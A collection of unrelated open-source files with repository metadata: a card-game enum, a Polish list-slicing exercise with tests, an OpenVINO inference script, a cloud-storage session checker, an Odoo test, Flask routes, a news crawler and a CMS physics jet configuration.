3d6e8563b1185e6f1956c3a23a0c832771d6985f
|
975e1b89807295fba107a658cddb93d0d5207cba
|
refs/heads/main
| 2023-01-06T19:47:03.919150
| 2020-10-24T13:14:37
| 2020-10-24T13:14:37
| 304,140,273
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 154
|
py
|
from enum import Enum
class GameInternalState(Enum):
NONE = 0,
FIRST_CARD = 1,
SECOND_CARD = 2,
PLAYING = 3,
DEALER_TURN = 4
|
[
"mariantirlea@hotmail.com"
] |
mariantirlea@hotmail.com
|
97b46e964b023e8f858efc1760eb33c595ad0b20
|
cfcdf441a4ea1907da59d7a30347698ee190e584
|
/3_funkcje/zad_7.py
|
4001af9fcfb4be35e89af2ac2614fe8b9d0d8852
|
[] |
no_license
|
kamilzazi/Python_Bootcamp_Krakow
|
d7683641101a57c6725732e08f50dbc948505e79
|
7f874662978b44c06e1ab42834b1648b8977726e
|
refs/heads/master
| 2020-12-24T00:55:37.271711
| 2020-01-31T00:07:06
| 2020-01-31T00:07:06
| 237,329,187
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,891
|
py
|
"""
Zaimplementuj funkcję przycinającą listę na podstawie podanego
warunku początkowego oraz końcowego:
Przykład użycia:
przytnij(
data=[1, 2, 3, 4, 5, 6, 7],
start=lambda x: x > 3,
stop=lambda x: x == 6,
)
[4, 5, 6]
"""
def przytnij(data, start, stop):
# znajdujemy klucz w liscie data, od którego mamy zacząć kroić
for indeks, wartosc in enumerate(data):
if start(wartosc) == True:
break
else: # https://docs.python.org/3/tutorial/controlflow.html#break-and-continue-statements-and-else-clauses-on-loops
return []
# w tym miejscu juz wiem jaki jest indeks, od którego mam zacząć ciąć
rezultat = []
for wartosc in data[indeks:]:
rezultat.append(wartosc)
if stop(wartosc) == True:
break
return rezultat
def test_zaden():
assert przytnij(
data=[1, 2, 3, 4, 5, 6, 7],
start=lambda x: False,
stop=lambda x: x == 6,
) == []
def test_ostatni():
assert przytnij(
data=[1, 2, 3, 4, 5, 6, 7],
start=lambda x: x == 7,
stop=lambda x: x == 6,
) == [7]
def test_wieksze_od_3_skoncz_na_6():
assert przytnij(
data=[1, 2, 3, 4, 4, 5, 6, 7],
start=lambda x: x > 3,
stop=lambda x: x == 6,
) == [4, 4, 5, 6]
def test_wieksze_zacznij_od_2_skoncz_na_mniejszej_niz_7():
assert przytnij(
data=[3, 2, 3, 6, 3, 4, 7],
start=lambda x: x == 2,
stop=lambda x: x < 7,
) == [2]
def test_wieksze_zacznij_od_mniejszej_niz_7_skoncz_na_2():
assert przytnij(
data=[9, 1, 6, 189, 4, 7, 2, 4],
start=lambda x: x < 7,
stop=lambda x: x == 2,
) == [1, 6, 189, 4, 7, 2]
|
[
"noreply@github.com"
] |
kamilzazi.noreply@github.com
|
98c4bb31a3511cd0fd46561bd8dab92b5e15149f
|
0496e4be257be0a154bf70788abce86942b9dbbf
|
/2-Leveraging Pre-Trained Models/Exercise 3/app.py
|
a506e080b72dcc7080b6c7aed82382e1966dc3c0
|
[] |
no_license
|
ivyclare/IntelEdgeAI
|
4fbb9c9ceecc911718c09877caa739f41a015a90
|
c0bbf3f4c6a15d07be1830635e7c1cc7c2404f3a
|
refs/heads/master
| 2021-02-12T17:46:12.131042
| 2020-03-08T19:55:23
| 2020-03-08T19:55:23
| 244,613,558
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 4,824
|
py
|
import argparse
import cv2
import numpy as np
from handle_models import handle_output, preprocessing
from inference import Network
CAR_COLORS = ["white", "gray", "yellow", "red", "green", "blue", "black"]
CAR_TYPES = ["car", "bus", "truck", "van"]
def get_args():
'''
Gets the arguments from the command line.
'''
parser = argparse.ArgumentParser("Basic Edge App with Inference Engine")
# -- Create the descriptions for the commands
c_desc = "CPU extension file location, if applicable"
d_desc = "Device, if not CPU (GPU, FPGA, MYRIAD)"
i_desc = "The location of the input image"
m_desc = "The location of the model XML file"
t_desc = "The type of model: POSE, TEXT or CAR_META"
# -- Add required and optional groups
parser._action_groups.pop()
required = parser.add_argument_group('required arguments')
optional = parser.add_argument_group('optional arguments')
# -- Create the arguments
required.add_argument("-i", help=i_desc, required=True)
required.add_argument("-m", help=m_desc, required=True)
required.add_argument("-t", help=t_desc, required=True)
optional.add_argument("-c", help=c_desc, default=None)
optional.add_argument("-d", help=d_desc, default="CPU")
args = parser.parse_args()
return args
def get_mask(processed_output):
'''
Given an input image size and processed output for a semantic mask,
returns a masks able to be combined with the original image.
'''
# Create an empty array for other color channels of mask
empty = np.zeros(processed_output.shape)
# Stack to make a Green mask where text detected
mask = np.dstack((empty, processed_output, empty))
return mask
def create_output_image(model_type, image, output):
'''
Using the model type, input image, and processed output,
creates an output image showing the result of inference.
'''
if model_type == "POSE":
# Remove final part of output not used for heatmaps
output = output[:-1]
# Get only pose detections above 0.5 confidence, set to 255
for c in range(len(output)):
output[c] = np.where(output[c]>0.5, 255, 0)
# Sum along the "class" axis
output = np.sum(output, axis=0)
# Get semantic mask
pose_mask = get_mask(output)
# Combine with original image
image = image + pose_mask
return image
elif model_type == "TEXT":
# Get only text detections above 0.5 confidence, set to 255
output = np.where(output[1]>0.5, 255, 0)
# Get semantic mask
text_mask = get_mask(output)
# Add the mask to the image
image = image + text_mask
return image
elif model_type == "CAR_META":
# Get the color and car type from their lists
color = CAR_COLORS[output[0]]
car_type = CAR_TYPES[output[1]]
# Scale the output text by the image shape
scaler = max(int(image.shape[0] / 1000), 1)
# Write the text of color and type onto the image
image = cv2.putText(image,
"Color: {}, Type: {}".format(color, car_type),
(50 * scaler, 100 * scaler), cv2.FONT_HERSHEY_SIMPLEX,
2 * scaler, (255, 255, 255), 3 * scaler)
return image
else:
print("Unknown model type, unable to create output image.")
return image
def perform_inference(args):
'''
Performs inference on an input image, given a model.
'''
# Create a Network for using the Inference Engine
inference_network = Network()
# Load the model in the network, and obtain its input shape
n, c, h, w = inference_network.load_model(args.m, args.d, args.c)
# Read the input image
image = cv2.imread(args.i)
### TODO: Preprocess the input image
preprocessed_image = preprocessing(image, h, w)
# Perform synchronous inference on the image
inference_network.sync_inference(preprocessed_image)
# Obtain the output of the inference request
output = inference_network.extract_output()
### TODO: Handle the output of the network, based on args.t
### Note: This will require using `handle_output` to get the correct
### function, and then feeding the output to that function.
processed_func = handle_output(args.t)
processed_output = processed_func(output, image.shape)
# Create an output image based on network
try:
output_image = create_output_image(args.t, image, processed_output)
print("Success")
except:
output_image = image
print("Error")
# Save down the resulting image
cv2.imwrite("outputs/{}-output.png".format(args.t), output_image)
def main():
args = get_args()
perform_inference(args)
if __name__ == "__main__":
main()
|
[
"ivolinengong@gmail.com"
] |
ivolinengong@gmail.com
|
95d36d5a07bcf9bb0484e833c802f47d54336a49
|
6a7005ca7e418a18cbfeec296129873aef6446a4
|
/DecryptLogin/modules/clients/cloud189.py
|
c225cfe48db9b83ae17b59f9e9d9e743ff923bb5
|
[
"Apache-2.0"
] |
permissive
|
CharlesPikachu/DecryptLogin
|
f0646d37e8604fb9c41dc74c17c0ea48cb5066ec
|
bb4228c0535ffd7060b7816cbd1da51ba8d95ab8
|
refs/heads/master
| 2023-05-22T15:21:59.038844
| 2022-08-29T08:59:05
| 2022-08-29T08:59:05
| 172,416,496
| 2,871
| 809
|
Apache-2.0
| 2022-10-06T14:58:49
| 2019-02-25T01:57:20
|
Python
|
UTF-8
|
Python
| false
| false
| 907
|
py
|
'''
Function:
天翼云盘客户端
Author:
Charles
微信公众号:
Charles的皮卡丘
更新日期:
2022-03-11
'''
from .baseclient import BaseClient
'''天翼云盘客户端'''
class Cloud189Client(BaseClient):
def __init__(self, reload_history=True, **kwargs):
super(Cloud189Client, self).__init__(website_name='cloud189', reload_history=reload_history, **kwargs)
'''检查会话是否已经过期, 过期返回True'''
def checksessionstatus(self, session, infos_return):
headers = {'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36'}
url = 'https://cloud.189.cn/api/open/user/getUserInfoForPortal.action?noCache=0.4971582793833025'
response = session.get(url, headers=headers)
if '成功' in response.text:
return False
return True
|
[
"1159254961@qq.com"
] |
1159254961@qq.com
|
a8b2023aea466a99dc3cb568615b18f732342445
|
df2cbe914f463ad050d7ed26194424afbe3a0a52
|
/addons/product/tests/test_name.py
|
7afbd6ccaa997c25558c82064254fd0b701908be
|
[
"Apache-2.0"
] |
permissive
|
SHIVJITH/Odoo_Machine_Test
|
019ed339e995be980606a2d87a63312ddc18e706
|
310497a9872db7844b521e6dab5f7a9f61d365a4
|
refs/heads/main
| 2023-07-16T16:23:14.300656
| 2021-08-29T11:48:36
| 2021-08-29T11:48:36
| 401,010,175
| 0
| 0
|
Apache-2.0
| 2021-08-29T10:13:58
| 2021-08-29T10:13:58
| null |
UTF-8
|
Python
| false
| false
| 995
|
py
|
# -*- coding: utf-8 -*-
# Part of Odoo. See LICENSE file for full copyright and licensing details.
from odoo.tests.common import TransactionCase
class TestName(TransactionCase):
def setUp(self):
super().setUp()
self.product_name = 'Product Test Name'
self.product_code = 'PTN'
self.product = self.env['product.product'].create({
'name': self.product_name,
'default_code': self.product_code,
})
def test_10_product_name(self):
display_name = self.product.display_name
self.assertEqual(display_name, "[%s] %s" % (self.product_code, self.product_name),
"Code should be preprended the the name as the context is not preventing it.")
display_name = self.product.with_context(display_default_code=False).display_name
self.assertEqual(display_name, self.product_name,
"Code should not be preprended to the name as context should prevent it.")
|
[
"36736117+SHIVJITH@users.noreply.github.com"
] |
36736117+SHIVJITH@users.noreply.github.com
|
25a21d6bddbf9f90fc55c9f0176c5cbd3d6bc479
|
bba3a0ea5350413d1892f5d44ebc15ddd52c6921
|
/app/api/v2/views/__init__.py
|
35f7cc9868ac2997ab5f9350dcde50c584c467b9
|
[] |
no_license
|
murugilinet/Politico_v2
|
930a6ea2ddeaea0bbf63a8bd641a2da1a0a1ef2b
|
4fb4431cc9de38cf8b0637d505b73debffa8e882
|
refs/heads/develop
| 2022-12-16T01:56:45.827096
| 2019-02-22T06:27:03
| 2019-02-22T06:27:03
| 170,436,444
| 0
| 0
| null | 2021-04-20T17:52:51
| 2019-02-13T03:52:12
|
Python
|
UTF-8
|
Python
| false
| false
| 1,122
|
py
|
from flask import Blueprint
from flask_restful import Api,Resource
from app.api.v2.views.officeview import Offices,Office,AdminOffices,AdminOffice
from app.api.v2.views.partyview import Parties,Party,AdminParties,AdminParty
from app.api.v2.views.userview import Users,LogIn
from app.api.v2.views.candidateview import AdminCandidate
from app.api.v2.views.voteview import VoteUser,Results
version_two = Blueprint('api_v2', __name__, url_prefix='/api/v2')
api = Api(version_two)
api.add_resource (Offices, '/offices')
api.add_resource (AdminOffices, '/offices')
api.add_resource (Office, '/offices/<int:office_id>')
api.add_resource (AdminOffice, '/offices/<int:office_id>')
api.add_resource (Parties, '/parties')
api.add_resource (AdminParties, '/parties')
api.add_resource (Party, '/parties/<int:party_id>')
api.add_resource (AdminParty, '/parties/<int:party_id>')
api.add_resource (Users, '/auth/signup')
api.add_resource (LogIn, '/auth/login')
api.add_resource (AdminCandidate, '/office/<int:office_id>/register')
api.add_resource (VoteUser, '/votes')
api.add_resource (Results, '/offices/<int:office_id>/results')
|
[
"murugilinet59@gmail.com"
] |
murugilinet59@gmail.com
|
45a7d8aa8c2879c3e254909d49a601280b71570d
|
c10f8437f7213b557ed6137acfba226cabac8b0f
|
/Exo 39.py
|
5b42c8cb88d7d15f46ad83fca5ce65e444716b0c
|
[] |
no_license
|
JonathanDegardin/Python
|
bda4fa3d29448f2a1c3900a3fc7c9b791e4060be
|
b10ed3a417c0c5daf63d119a024a9d4e9fe6c669
|
refs/heads/main
| 2023-01-06T23:01:41.589479
| 2020-11-09T15:51:52
| 2020-11-09T15:51:52
| 311,285,461
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 129
|
py
|
a = input("Saisissez votre chaine : ").split();
nombreMots = len(a)
print("Le nombre de mot de la chaine s est : ", nombreMots)
|
[
"noreply@github.com"
] |
JonathanDegardin.noreply@github.com
|
3e2b3e440c367a0dce18a7da4eec2d26d83ecec4
|
789f39d4c4549f789c9e13ad4906c1734e6e1235
|
/versionOne/boilerpipe_crawler.py
|
a3f5669280cf762a7a9fa866918af47b832d67c4
|
[] |
no_license
|
alfredt/pj0304
|
2123f84d65ee9a1336c8cb653e96a1f989da3dcf
|
82bfba26b85335c8d1637df9647ee71bbd0c4ddf
|
refs/heads/master
| 2021-01-18T22:16:57.188306
| 2017-05-08T09:19:32
| 2017-05-08T09:19:32
| 87,042,270
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 3,908
|
py
|
# -*- coding: utf-8 -*-
"""
Created on Thu Mar 02 17:07:12 2017
@author: user
"""
import logging
import random
from boilerpipe.extract import Extractor
import mongodb as mg
import time
import urllib2, httplib
import socket
formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')
logger = logging.getLogger('boilerpipe')
logger.setLevel(logging.DEBUG)
ch = logging.StreamHandler()
ch.setLevel(logging.DEBUG)
ch.setFormatter(formatter)
logger.addHandler(ch)
if __name__ == "__main__":
logger.debug("Boilerpipe Crawler started")
config = {}
execfile("/home/alfred/Projects/pj0304/configFile.conf", config)
no_crawling_list = ['forbes', 'techcrunch']
name_database = config['database']
name_collection = config['collection']
mongoClient, db = mg.init_mongo(name_database)
data = mg.extract_crawled_links(db, name_collection)
for d in data:
time.sleep(random.randrange(1, 2))
logger.info("Title: %s", d['Title'])
logger.info("Link: %s", d['DirectLink'])
skip = False
keepCrawling = True
retry = 0
for not_crawling in no_crawling_list:
if not_crawling in d['DirectLink']:
logger.warn("DirectLink is in not crawling list (%s) ...", not_crawling)
mg.update_doc_content(db, name_collection, d['_id'], None, "NoCrawlingList")
skip = True
if not skip:
while keepCrawling:
try:
extractor = Extractor(extractor='ArticleSentencesExtractor', url=d['DirectLink'])
text = extractor.getText()
if len(text) > 0:
ascii_replace = text.encode('ascii', 'replace')
ascii_replace = ascii_replace.replace('\n', ' ').replace('?', '')
mg.update_doc_content(db, name_collection, d['_id'], ascii_replace, 1)
logger.info("Contents updated...")
else:
mg.update_doc_content(db, name_collection, d['_id'], None, 0)
logger.warn("Zero contents updated...")
keepCrawling = False
except urllib2.HTTPError:
time.sleep(random.randrange(9, 15))
if retry == 3:
logger.error("HTTP Error 404 - Retry exceeded... Stop trying... ")
mg.update_doc_content(db, name_collection, d['_id'], None, "HTTPError404")
keepCrawling = False
else:
retry += 1
logger.warn("HTTP Error 404 - Retry: %s - re-crawl webpage again...", retry)
except httplib.BadStatusLine:
logger.error("BadStatusLine")
mg.update_doc_content(db, name_collection, d['_id'], None, "BadStatusLine")
keepCrawling = False
except socket.timeout:
time.sleep(random.randrange(3, 5))
if retry == 3:
logger.error("Socket Timeout - Retry exceeded... Stop trying... ")
keepCrawling = False
else:
retry += 1
logger.warn("HTTP Error 404 - Retry: %s - re-crawl webpage again...", retry)
except urllib2.URLError:
logger.error("SSL: CERTIFICATE_VERIFY_FAILED... ")
mg.update_doc_content(db, name_collection, d['_id'], None, "SSLCertVerifyFailed")
keepCrawling = False
logger.debug("Boilerpipe Crawler endeded")
|
[
"xuanmin89@gmail.com"
] |
xuanmin89@gmail.com
|
8761dc0b473dfb89286389d7ac2ef261e4d02b25
|
2af1201d44509192cf2aa40259ff40dde414b966
|
/backend/example/tests.py
|
8c96b1371e4e6a28fb39f62eae54316dd3e62b97
|
[] |
no_license
|
yzoo1008/swpp-integration-sample
|
d1a1416308bcf04d94fb60e88c72954e8f9f7fc6
|
5cc7c6977fc1eb4730867d50f6c3dbb07f0a6e5d
|
refs/heads/master
| 2021-07-25T08:13:03.986437
| 2017-10-31T19:10:05
| 2017-11-05T10:40:35
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 121
|
py
|
from django.test import TestCase
class SampleTest(TestCase):
def test_sample(self):
self.assertEqual(1, 1)
|
[
"lastone817@gmail.com"
] |
lastone817@gmail.com
|
83d0005b39649353219e521fbdcd008c9e74952c
|
4577cf96a2a310e8fdbc52f9116a5a85fb0ca474
|
/tests/corral/test_grab_versions.py
|
214e2b70c29ad9a4d3a0d8400f8e205656326e49
|
[
"Apache-2.0"
] |
permissive
|
NASA-PDS/pds-github-util
|
02ad8c2cdebd018194d018a5cfcc57f8656ab44c
|
c9019a0e306ab4fd70521339ad4a8a622960b627
|
refs/heads/main
| 2023-08-05T03:30:08.095378
| 2023-07-19T19:33:05
| 2023-07-19T19:33:05
| 248,794,079
| 0
| 3
|
NOASSERTION
| 2023-05-12T19:15:05
| 2020-03-20T15:49:39
|
Python
|
UTF-8
|
Python
| false
| false
| 458
|
py
|
import os
import unittest
from pds_github_util.corral.cattle_head import CattleHead
from pds_github_util.utils.tokens import GITHUB_TOKEN
class MyTestCase(unittest.TestCase):
def test_get_changelog_signet(self):
cattle_head = CattleHead("validate", "https://github.com/nasa-pds/validate", "validate PDS formats", token=GITHUB_TOKEN)
changelog_signet = cattle_head._get_changelog_signet()
if __name__ == '__main__':
unittest.main()
|
[
"thomas.loubrieu@jpl.nasa.gov"
] |
thomas.loubrieu@jpl.nasa.gov
|
9a43267dbbdafd79d1d85ad3e5f0e7e1c0f6c45c
|
0bc777a57e39c466a9482af9a6eda698ab3c1437
|
/HeavyIonsAnalysis/JetAnalysis/python/jets/akPu3CaloJetSequence_pp_mc_cff.py
|
aff7ca13e96eaddbc54eaf85c952dc344474f154
|
[] |
no_license
|
stahlleiton/cmssw
|
3c78d80b9372fdf2a37f424372504b23c9dc4f78
|
fcfda663dc8c315b505eb6bcc7e936401c01c4d1
|
refs/heads/EWQAnalysis2017_8030
| 2023-08-23T13:50:40.837198
| 2017-11-09T17:45:31
| 2017-11-09T17:45:31
| 45,795,305
| 0
| 3
| null | 2021-04-30T07:36:28
| 2015-11-08T19:28:54
|
C++
|
UTF-8
|
Python
| false
| false
| 15,003
|
py
|
import FWCore.ParameterSet.Config as cms
from HeavyIonsAnalysis.JetAnalysis.patHeavyIonSequences_cff import patJetGenJetMatch, patJetPartonMatch, patJetCorrFactors, patJets
from HeavyIonsAnalysis.JetAnalysis.inclusiveJetAnalyzer_cff import *
from HeavyIonsAnalysis.JetAnalysis.bTaggers_cff import *
from RecoJets.JetProducers.JetIDParams_cfi import *
from RecoJets.JetProducers.nJettinessAdder_cfi import Njettiness
akPu3Calomatch = patJetGenJetMatch.clone(
src = cms.InputTag("akPu3CaloJets"),
matched = cms.InputTag("ak3GenJets"),
resolveByMatchQuality = cms.bool(False),
maxDeltaR = 0.3
)
akPu3CalomatchGroomed = patJetGenJetMatch.clone(
src = cms.InputTag("ak3GenJets"),
matched = cms.InputTag("ak3GenJets"),
resolveByMatchQuality = cms.bool(False),
maxDeltaR = 0.3
)
akPu3Caloparton = patJetPartonMatch.clone(src = cms.InputTag("akPu3CaloJets")
)
akPu3Calocorr = patJetCorrFactors.clone(
useNPV = cms.bool(False),
useRho = cms.bool(False),
# primaryVertices = cms.InputTag("hiSelectedVertex"),
levels = cms.vstring('L2Relative','L3Absolute'),
src = cms.InputTag("akPu3CaloJets"),
payload = "AKPu3Calo_offline"
)
akPu3CaloJetID= cms.EDProducer('JetIDProducer', JetIDParams, src = cms.InputTag('akPu3CaloJets'))
#akPu3Caloclean = heavyIonCleanedGenJets.clone(src = cms.InputTag('ak3GenJets'))
akPu3CalobTagger = bTaggers("akPu3Calo",0.3)
#create objects locally since they dont load properly otherwise
#akPu3Calomatch = akPu3CalobTagger.match
akPu3Caloparton = patJetPartonMatch.clone(src = cms.InputTag("akPu3CaloJets"), matched = cms.InputTag("genParticles"))
akPu3CaloPatJetFlavourAssociationLegacy = akPu3CalobTagger.PatJetFlavourAssociationLegacy
akPu3CaloPatJetPartons = akPu3CalobTagger.PatJetPartons
akPu3CaloJetTracksAssociatorAtVertex = akPu3CalobTagger.JetTracksAssociatorAtVertex
akPu3CaloJetTracksAssociatorAtVertex.tracks = cms.InputTag("highPurityTracks")
akPu3CaloSimpleSecondaryVertexHighEffBJetTags = akPu3CalobTagger.SimpleSecondaryVertexHighEffBJetTags
akPu3CaloSimpleSecondaryVertexHighPurBJetTags = akPu3CalobTagger.SimpleSecondaryVertexHighPurBJetTags
akPu3CaloCombinedSecondaryVertexBJetTags = akPu3CalobTagger.CombinedSecondaryVertexBJetTags
akPu3CaloCombinedSecondaryVertexV2BJetTags = akPu3CalobTagger.CombinedSecondaryVertexV2BJetTags
akPu3CaloJetBProbabilityBJetTags = akPu3CalobTagger.JetBProbabilityBJetTags
akPu3CaloSoftPFMuonByPtBJetTags = akPu3CalobTagger.SoftPFMuonByPtBJetTags
akPu3CaloSoftPFMuonByIP3dBJetTags = akPu3CalobTagger.SoftPFMuonByIP3dBJetTags
akPu3CaloTrackCountingHighEffBJetTags = akPu3CalobTagger.TrackCountingHighEffBJetTags
akPu3CaloTrackCountingHighPurBJetTags = akPu3CalobTagger.TrackCountingHighPurBJetTags
akPu3CaloPatJetPartonAssociationLegacy = akPu3CalobTagger.PatJetPartonAssociationLegacy
akPu3CaloImpactParameterTagInfos = akPu3CalobTagger.ImpactParameterTagInfos
akPu3CaloImpactParameterTagInfos.primaryVertex = cms.InputTag("offlinePrimaryVertices")
akPu3CaloJetProbabilityBJetTags = akPu3CalobTagger.JetProbabilityBJetTags
akPu3CaloSecondaryVertexTagInfos = akPu3CalobTagger.SecondaryVertexTagInfos
akPu3CaloSimpleSecondaryVertexHighEffBJetTags = akPu3CalobTagger.SimpleSecondaryVertexHighEffBJetTags
akPu3CaloSimpleSecondaryVertexHighPurBJetTags = akPu3CalobTagger.SimpleSecondaryVertexHighPurBJetTags
akPu3CaloCombinedSecondaryVertexBJetTags = akPu3CalobTagger.CombinedSecondaryVertexBJetTags
akPu3CaloCombinedSecondaryVertexV2BJetTags = akPu3CalobTagger.CombinedSecondaryVertexV2BJetTags
akPu3CaloSecondaryVertexNegativeTagInfos = akPu3CalobTagger.SecondaryVertexNegativeTagInfos
akPu3CaloNegativeSimpleSecondaryVertexHighEffBJetTags = akPu3CalobTagger.NegativeSimpleSecondaryVertexHighEffBJetTags
akPu3CaloNegativeSimpleSecondaryVertexHighPurBJetTags = akPu3CalobTagger.NegativeSimpleSecondaryVertexHighPurBJetTags
akPu3CaloNegativeCombinedSecondaryVertexBJetTags = akPu3CalobTagger.NegativeCombinedSecondaryVertexBJetTags
akPu3CaloPositiveCombinedSecondaryVertexBJetTags = akPu3CalobTagger.PositiveCombinedSecondaryVertexBJetTags
akPu3CaloNegativeCombinedSecondaryVertexV2BJetTags = akPu3CalobTagger.NegativeCombinedSecondaryVertexV2BJetTags
akPu3CaloPositiveCombinedSecondaryVertexV2BJetTags = akPu3CalobTagger.PositiveCombinedSecondaryVertexV2BJetTags
akPu3CaloSoftPFMuonsTagInfos = akPu3CalobTagger.SoftPFMuonsTagInfos
akPu3CaloSoftPFMuonsTagInfos.primaryVertex = cms.InputTag("offlinePrimaryVertices")
akPu3CaloSoftPFMuonBJetTags = akPu3CalobTagger.SoftPFMuonBJetTags
akPu3CaloSoftPFMuonByIP3dBJetTags = akPu3CalobTagger.SoftPFMuonByIP3dBJetTags
akPu3CaloSoftPFMuonByPtBJetTags = akPu3CalobTagger.SoftPFMuonByPtBJetTags
akPu3CaloNegativeSoftPFMuonByPtBJetTags = akPu3CalobTagger.NegativeSoftPFMuonByPtBJetTags
akPu3CaloPositiveSoftPFMuonByPtBJetTags = akPu3CalobTagger.PositiveSoftPFMuonByPtBJetTags
akPu3CaloPatJetFlavourIdLegacy = cms.Sequence(akPu3CaloPatJetPartonAssociationLegacy*akPu3CaloPatJetFlavourAssociationLegacy)
#Not working with our PU sub, but keep it here for reference
#akPu3CaloPatJetFlavourAssociation = akPu3CalobTagger.PatJetFlavourAssociation
#akPu3CaloPatJetFlavourId = cms.Sequence(akPu3CaloPatJetPartons*akPu3CaloPatJetFlavourAssociation)
akPu3CaloJetBtaggingIP = cms.Sequence(akPu3CaloImpactParameterTagInfos *
(akPu3CaloTrackCountingHighEffBJetTags +
akPu3CaloTrackCountingHighPurBJetTags +
akPu3CaloJetProbabilityBJetTags +
akPu3CaloJetBProbabilityBJetTags
)
)
akPu3CaloJetBtaggingSV = cms.Sequence(akPu3CaloImpactParameterTagInfos
*
akPu3CaloSecondaryVertexTagInfos
* (akPu3CaloSimpleSecondaryVertexHighEffBJetTags+
akPu3CaloSimpleSecondaryVertexHighPurBJetTags+
akPu3CaloCombinedSecondaryVertexBJetTags+
akPu3CaloCombinedSecondaryVertexV2BJetTags
)
)
akPu3CaloJetBtaggingNegSV = cms.Sequence(akPu3CaloImpactParameterTagInfos
*
akPu3CaloSecondaryVertexNegativeTagInfos
* (akPu3CaloNegativeSimpleSecondaryVertexHighEffBJetTags+
akPu3CaloNegativeSimpleSecondaryVertexHighPurBJetTags+
akPu3CaloNegativeCombinedSecondaryVertexBJetTags+
akPu3CaloPositiveCombinedSecondaryVertexBJetTags+
akPu3CaloNegativeCombinedSecondaryVertexV2BJetTags+
akPu3CaloPositiveCombinedSecondaryVertexV2BJetTags
)
)
akPu3CaloJetBtaggingMu = cms.Sequence(akPu3CaloSoftPFMuonsTagInfos * (akPu3CaloSoftPFMuonBJetTags
+
akPu3CaloSoftPFMuonByIP3dBJetTags
+
akPu3CaloSoftPFMuonByPtBJetTags
+
akPu3CaloNegativeSoftPFMuonByPtBJetTags
+
akPu3CaloPositiveSoftPFMuonByPtBJetTags
)
)
akPu3CaloJetBtagging = cms.Sequence(akPu3CaloJetBtaggingIP
*akPu3CaloJetBtaggingSV
*akPu3CaloJetBtaggingNegSV
# *akPu3CaloJetBtaggingMu
)
akPu3CalopatJetsWithBtagging = patJets.clone(jetSource = cms.InputTag("akPu3CaloJets"),
genJetMatch = cms.InputTag("akPu3Calomatch"),
genPartonMatch = cms.InputTag("akPu3Caloparton"),
jetCorrFactorsSource = cms.VInputTag(cms.InputTag("akPu3Calocorr")),
JetPartonMapSource = cms.InputTag("akPu3CaloPatJetFlavourAssociationLegacy"),
JetFlavourInfoSource = cms.InputTag("akPu3CaloPatJetFlavourAssociation"),
trackAssociationSource = cms.InputTag("akPu3CaloJetTracksAssociatorAtVertex"),
useLegacyJetMCFlavour = True,
discriminatorSources = cms.VInputTag(cms.InputTag("akPu3CaloSimpleSecondaryVertexHighEffBJetTags"),
cms.InputTag("akPu3CaloSimpleSecondaryVertexHighPurBJetTags"),
cms.InputTag("akPu3CaloCombinedSecondaryVertexBJetTags"),
cms.InputTag("akPu3CaloCombinedSecondaryVertexV2BJetTags"),
cms.InputTag("akPu3CaloJetBProbabilityBJetTags"),
cms.InputTag("akPu3CaloJetProbabilityBJetTags"),
#cms.InputTag("akPu3CaloSoftPFMuonByPtBJetTags"),
#cms.InputTag("akPu3CaloSoftPFMuonByIP3dBJetTags"),
cms.InputTag("akPu3CaloTrackCountingHighEffBJetTags"),
cms.InputTag("akPu3CaloTrackCountingHighPurBJetTags"),
),
jetIDMap = cms.InputTag("akPu3CaloJetID"),
addBTagInfo = True,
addTagInfos = True,
addDiscriminators = True,
addAssociatedTracks = True,
addJetCharge = False,
addJetID = False,
getJetMCFlavour = True,
addGenPartonMatch = True,
addGenJetMatch = True,
embedGenJetMatch = True,
embedGenPartonMatch = True,
# embedCaloTowers = False,
# embedPFCandidates = True
)
akPu3CaloNjettiness = Njettiness.clone(
src = cms.InputTag("akPu3CaloJets"),
R0 = cms.double( 0.3)
)
akPu3CalopatJetsWithBtagging.userData.userFloats.src += ['akPu3CaloNjettiness:tau1','akPu3CaloNjettiness:tau2','akPu3CaloNjettiness:tau3']
akPu3CaloJetAnalyzer = inclusiveJetAnalyzer.clone(jetTag = cms.InputTag("akPu3CalopatJetsWithBtagging"),
genjetTag = 'ak3GenJets',
rParam = 0.3,
matchJets = cms.untracked.bool(False),
matchTag = 'patJetsWithBtagging',
pfCandidateLabel = cms.untracked.InputTag('particleFlow'),
trackTag = cms.InputTag("generalTracks"),
fillGenJets = True,
isMC = True,
doSubEvent = True,
useHepMC = cms.untracked.bool(False),
genParticles = cms.untracked.InputTag("genParticles"),
eventInfoTag = cms.InputTag("generator"),
doLifeTimeTagging = cms.untracked.bool(True),
doLifeTimeTaggingExtras = cms.untracked.bool(False),
bTagJetName = cms.untracked.string("akPu3Calo"),
jetName = cms.untracked.string("akPu3Calo"),
genPtMin = cms.untracked.double(5),
hltTrgResults = cms.untracked.string('TriggerResults::'+'HISIGNAL'),
doTower = cms.untracked.bool(False),
doSubJets = cms.untracked.bool(False),
doGenSubJets = cms.untracked.bool(False),
subjetGenTag = cms.untracked.InputTag("ak3GenJets"),
doGenTaus = cms.untracked.bool(True),
genTau1 = cms.InputTag("ak3GenNjettiness","tau1"),
genTau2 = cms.InputTag("ak3GenNjettiness","tau2"),
genTau3 = cms.InputTag("ak3GenNjettiness","tau3"),
doGenSym = cms.untracked.bool(False),
genSym = cms.InputTag("ak3GenJets","sym"),
genDroppedBranches = cms.InputTag("ak3GenJets","droppedBranches")
)
akPu3CaloJetSequence_mc = cms.Sequence(
#akPu3Caloclean
#*
akPu3Calomatch
#*
#akPu3CalomatchGroomed
*
akPu3Caloparton
*
akPu3Calocorr
*
#akPu3CaloJetID
#*
akPu3CaloPatJetFlavourIdLegacy
#*
#akPu3CaloPatJetFlavourId # Use legacy algo till PU implemented
*
akPu3CaloJetTracksAssociatorAtVertex
*
akPu3CaloJetBtagging
*
akPu3CaloNjettiness #No constituents for calo jets in pp. Must be removed for pp calo jets but I'm not sure how to do this transparently (Marta)
*
akPu3CalopatJetsWithBtagging
*
akPu3CaloJetAnalyzer
